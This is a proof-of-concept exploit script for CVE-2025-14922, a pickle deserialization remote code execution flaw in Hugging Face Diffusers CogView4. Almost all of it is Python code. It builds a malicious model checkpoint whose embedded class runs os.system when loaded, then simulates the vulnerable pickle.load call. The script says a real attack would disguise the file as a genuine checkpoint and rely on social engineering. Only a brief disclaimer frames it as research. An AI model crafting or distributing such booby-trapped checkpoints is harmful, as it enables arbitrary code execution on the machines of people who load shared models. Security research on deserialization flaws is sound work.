CVE-2025-14922 Hugging Face Diffusers CogView4 反序列化远程代码执行漏洞

""" CVE-2025-14922 PoC - Hugging Face Diffusers CogView4 Deserialization RCE WARNING: This code is for educational and security research purposes only. Author: Security Research Reference: ZDI-CAN-27424 """ import pickle import os import sys class MaliciousPayload: """ Malicious class that executes code during deserialization. This demonstrates the deserialization vulnerability in Diffusers CogView4. """ def __reduce__(self): # This will execute when the object is deserialized cmd = "echo 'CVE-2025-14922 Exploited - RCE via Deserialization' > /tmp/pwned.txt" return (os.system, (cmd,)) def generate_malicious_checkpoint(output_path): """ Generate a malicious checkpoint file that exploits the deserialization vulnerability. In real attack scenario, this would be disguised as a CogView4 checkpoint. """ malicious_data = { 'model_weights': MaliciousPayload(), 'model_type': 'cogview4', 'version': '1.0' } with open(output_path, 'wb') as f: pickle.dump(malicious_data, f) print(f"[+] Malicious checkpoint generated: {output_path}") print("[+] When loaded by vulnerable Diffusers CogView4, it will execute arbitrary code") def simulate_vulnerable_loading(checkpoint_path): """ Simulate the vulnerable loading behavior in Diffusers. This demonstrates how the malicious checkpoint triggers code execution. """ print(f"\n[!] Simulating vulnerable Diffusers CogView4 checkpoint loading...") print(f"[!] Loading checkpoint from: {checkpoint_path}") try: with open(checkpoint_path, 'rb') as f: # This is the vulnerable operation - unpickling untrusted data checkpoint_data = pickle.load(f) print("[!] Checkpoint loaded successfully (code already executed)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-14922 PoC - Diffusers CogView4 Deserialization RCE") print("=" * 60) # Step 1: Generate malicious checkpoint malicious_file = "malicious_cogview4_checkpoint.pkl" generate_malicious_checkpoint(malicious_file) # Step 2: Simulate vulnerable loading simulate_vulnerable_loading(malicious_file) # Step 3: Verify exploitation if os.path.exists("/tmp/pwned.txt"): print("[+] Exploitation successful! Check /tmp/pwned.txt") print("\n[!] Note: Real attack requires social engineering to get victim to load this checkpoint")